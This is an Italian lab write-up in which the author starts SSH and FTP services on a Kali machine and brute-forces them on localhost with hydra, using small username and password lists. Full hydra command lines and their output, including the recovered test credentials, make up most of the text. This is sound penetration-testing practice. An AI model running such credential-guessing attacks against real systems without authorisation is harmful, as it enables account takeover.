Dopo aver creato un nuovo utente **test_user** con password **testpass**, facciamo partire i servizi **ssh** e **ftp** e ne controlliamo il corretto funzionamento.

```
┌──(kali㉿kali)-[~]
└─$ sudo service ssh status
[sudo] password for kali:
● ssh.service - OpenBSD Secure Shell server
     Loaded: loaded (/lib/systemd/system/ssh.service; disabled; preset: disabled)
     Active: active (running) since Thu 2024-02-29 14:14:00 CET; 5min ago
       Docs: man:sshd(8)
             man:sshd_config(5)
    Process: 4628 ExecStartPre=/usr/sbin/sshd -t (code=exited, status=0/SUCCESS)
   Main PID: 4630 (sshd)
      Tasks: 1 (limit: 3379)
     Memory: 3.1M
        CPU: 32ms
     CGroup: /system.slice/ssh.service
             └─4630 "sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups"

Feb 29 14:13:59 kali systemd[1]: Starting ssh.service - OpenBSD Secure Shell server...
Feb 29 14:14:00 kali sshd[4630]: Server listening on 0.0.0.0 port 22.
Feb 29 14:14:00 kali sshd[4630]: Server listening on :: port 22.
Feb 29 14:14:00 kali systemd[1]: Started ssh.service - OpenBSD Secure Shell server.
```

```
┌──(kali㉿kali)-[~]
└─$ ssh test_user@127.0.0.1
test_user@127.0.0.1's password:
Linux kali 6.5.0-kali3-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.5.6-1kali1 (2023-10-09) x86_64

The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
┌──(test_user㉿kali)-[~]
└─$ exit
logout
Connection to 127.0.0.1 closed.
```

```
┌──(kali㉿kali)-[~]
└─$ sudo service vsftpd start

┌──(kali㉿kali)-[~]
└─$ sudo service vsftpd status
● vsftpd.service - vsftpd FTP server
     Loaded: loaded (/lib/systemd/system/vsftpd.service; disabled; preset: disabled)
     Active: active (running) since Thu 2024-02-29 14:58:16 CET; 6min ago
    Process: 28098 ExecStartPre=/bin/mkdir -p /var/run/vsftpd/empty (code=exited, status=0/SUCCESS)
   Main PID: 28099 (vsftpd)
      Tasks: 1 (limit: 3379)
     Memory: 892.0K
        CPU: 6ms
     CGroup: /system.slice/vsftpd.service
             └─28099 /usr/sbin/vsftpd /etc/vsftpd.conf

Feb 29 14:58:16 kali systemd[1]: Starting vsftpd.service - vsftpd FTP server...
Feb 29 14:58:16 kali systemd[1]: Started vsftpd.service - vsftpd FTP server.
```

```
┌──(kali㉿kali)-[~]
└─$ ftp 127.0.0.1
Connected to 127.0.0.1.
220 (vsFTPd 3.0.3)
Name (127.0.0.1:kali): test_user
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> exit
221 Goodbye.
```

Lanciamo **hydra** per entrambi i servizi (con gli opportuni parametri impostati) utilizzando una lista di nomi utente e password più comuni. Osserviamo infine che il tool riesce a trovare le **combinazioni corrette** e le evidenzia in verde.

```
┌──(kali㉿kali)-[~]
└─$ hydra -L /home/kali/Documents/user.txt -P /home/kali/Documents/password.txt 127.0.0.1 -t 4 ssh -V
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations,

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-02-29 14:56:33
[DATA] max 4 tasks per 1 server, overall 4 tasks, 40 login tries (l:5/p:8), ~10 tries per task
[DATA] attacking ssh://127.0.0.1:22/
[ATTEMPT] target 127.0.0.1 - login "admin" - pass "password" - 1 of 40 [child 0] (0/0)
[ATTEMPT] target 127.0.0.1 - login "admin" - pass "pwd" - 2 of 40 [child 1] (0/0)
[ATTEMPT] target 127.0.0.1 - login "admin" - pass "123456" - 3 of 40 [child 2] (0/0)
[ATTEMPT] target 127.0.0.1 - login "admin" - pass "abc123" - 4 of 40 [child 3] (0/0)
[ATTEMPT] target 127.0.0.1 - login "admin" - pass "abcdef" - 5 of 40 [child 1] (0/0)
[ATTEMPT] target 127.0.0.1 - login "admin" - pass "testpass" - 6 of 40 [child 0] (0/0)
[ATTEMPT] target 127.0.0.1 - login "admin" - pass "111111111" - 7 of 40 [child 3] (0/0)
[ATTEMPT] target 127.0.0.1 - login "admin" - pass "aaaaaaaaa" - 8 of 40 [child 2] (0/0)
[ATTEMPT] target 127.0.0.1 - login "root" - pass "password" - 9 of 40 [child 1] (0/0)
[ATTEMPT] target 127.0.0.1 - login "root" - pass "pwd" - 10 of 40 [child 0] (0/0)
[ATTEMPT] target 127.0.0.1 - login "root" - pass "123456" - 11 of 40 [child 3] (0/0)
[ATTEMPT] target 127.0.0.1 - login "root" - pass "abc123" - 12 of 40 [child 2] (0/0)
[ATTEMPT] target 127.0.0.1 - login "root" - pass "abcdef" - 13 of 40 [child 1] (0/0)
[ATTEMPT] target 127.0.0.1 - login "root" - pass "testpass" - 14 of 40 [child 0] (0/0)
[ATTEMPT] target 127.0.0.1 - login "root" - pass "111111111" - 15 of 40 [child 3] (0/0)
[ATTEMPT] target 127.0.0.1 - login "root" - pass "aaaaaaaaa" - 16 of 40 [child 2] (0/0)
[ATTEMPT] target 127.0.0.1 - login "test_user" - pass "password" - 17 of 40 [child 1] (0/0)
[ATTEMPT] target 127.0.0.1 - login "test_user" - pass "pwd" - 18 of 40 [child 0] (0/0)
[ATTEMPT] target 127.0.0.1 - login "test_user" - pass "123456" - 19 of 40 [child 3] (0/0)
[ATTEMPT] target 127.0.0.1 - login "test_user" - pass "abc123" - 20 of 40 [child 2] (0/0)
[ATTEMPT] target 127.0.0.1 - login "test_user" - pass "abcdef" - 21 of 40 [child 1] (0/0)
[ATTEMPT] target 127.0.0.1 - login "test_user" - pass "testpass" - 22 of 40 [child 0] (0/0)
[ATTEMPT] target 127.0.0.1 - login "test_user" - pass "111111111" - 23 of 40 [child 3] (0/0)
[ATTEMPT] target 127.0.0.1 - login "test_user" - pass "aaaaaaaaa" - 24 of 40 [child 2] (0/0)
[22][ssh] host: 127.0.0.1   login: test_user   password: testpass
[ATTEMPT] target 127.0.0.1 - login "user" - pass "password" - 25 of 40 [child 0] (0/0)
[ATTEMPT] target 127.0.0.1 - login "user" - pass "pwd" - 26 of 40 [child 1] (0/0)
[ATTEMPT] target 127.0.0.1 - login "user" - pass "123456" - 27 of 40 [child 3] (0/0)
[ATTEMPT] target 127.0.0.1 - login "user" - pass "abc123" - 28 of 40 [child 2] (0/0)
[ATTEMPT] target 127.0.0.1 - login "user" - pass "abcdef" - 29 of 40 [child 0] (0/0)
```

```
┌──(kali㉿kali)-[~]
└─$ hydra -L /home/kali/Documents/user.txt -P /home/kali/Documents/password.txt ftp://127.0.0.1 -t 4 -V
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, o

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-02-29 15:06:15
[DATA] max 4 tasks per 1 server, overall 4 tasks, 40 login tries (l:5/p:8), ~10 tries per task
[DATA] attacking ftp://127.0.0.1:21/
[ATTEMPT] target 127.0.0.1 - login "admin" - pass "password" - 1 of 40 [child 0] (0/0)
[ATTEMPT] target 127.0.0.1 - login "admin" - pass "pwd" - 2 of 40 [child 1] (0/0)
[ATTEMPT] target 127.0.0.1 - login "admin" - pass "123456" - 3 of 40 [child 2] (0/0)
[ATTEMPT] target 127.0.0.1 - login "admin" - pass "abc123" - 4 of 40 [child 3] (0/0)
[ATTEMPT] target 127.0.0.1 - login "admin" - pass "abcdef" - 5 of 40 [child 2] (0/0)
[ATTEMPT] target 127.0.0.1 - login "admin" - pass "testpass" - 6 of 40 [child 0] (0/0)
[ATTEMPT] target 127.0.0.1 - login "admin" - pass "111111111" - 7 of 40 [child 1] (0/0)
[ATTEMPT] target 127.0.0.1 - login "admin" - pass "aaaaaaaaa" - 8 of 40 [child 3] (0/0)
[ATTEMPT] target 127.0.0.1 - login "root" - pass "password" - 9 of 40 [child 2] (0/0)
[ATTEMPT] target 127.0.0.1 - login "root" - pass "pwd" - 10 of 40 [child 1] (0/0)
[ATTEMPT] target 127.0.0.1 - login "root" - pass "123456" - 11 of 40 [child 3] (0/0)
[ATTEMPT] target 127.0.0.1 - login "root" - pass "abc123" - 12 of 40 [child 0] (0/0)
[ATTEMPT] target 127.0.0.1 - login "root" - pass "abcdef" - 13 of 40 [child 2] (0/0)
[ATTEMPT] target 127.0.0.1 - login "root" - pass "testpass" - 14 of 40 [child 1] (0/0)
[ATTEMPT] target 127.0.0.1 - login "root" - pass "111111111" - 15 of 40 [child 0] (0/0)
[ATTEMPT] target 127.0.0.1 - login "root" - pass "aaaaaaaaa" - 16 of 40 [child 3] (0/0)
[ATTEMPT] target 127.0.0.1 - login "test_user" - pass "password" - 17 of 40 [child 2] (0/0)
[ATTEMPT] target 127.0.0.1 - login "test_user" - pass "pwd" - 18 of 40 [child 1] (0/0)
[ATTEMPT] target 127.0.0.1 - login "test_user" - pass "123456" - 19 of 40 [child 0] (0/0)
[ATTEMPT] target 127.0.0.1 - login "test_user" - pass "abc123" - 20 of 40 [child 3] (0/0)
[ATTEMPT] target 127.0.0.1 - login "test_user" - pass "abcdef" - 21 of 40 [child 2] (0/0)
[ATTEMPT] target 127.0.0.1 - login "test_user" - pass "testpass" - 22 of 40 [child 1] (0/0)
[ATTEMPT] target 127.0.0.1 - login "test_user" - pass "111111111" - 23 of 40 [child 0] (0/0)
[ATTEMPT] target 127.0.0.1 - login "test_user" - pass "aaaaaaaaa" - 24 of 40 [child 3] (0/0)
[21][ftp] host: 127.0.0.1   login: test_user   password: testpass
[ATTEMPT] target 127.0.0.1 - login "user" - pass "password" - 25 of 40 [child 1] (0/0)
[ATTEMPT] target 127.0.0.1 - login "user" - pass "pwd" - 26 of 40 [child 2] (0/0)
[ATTEMPT] target 127.0.0.1 - login "user" - pass "123456" - 27 of 40 [child 0] (0/0)
```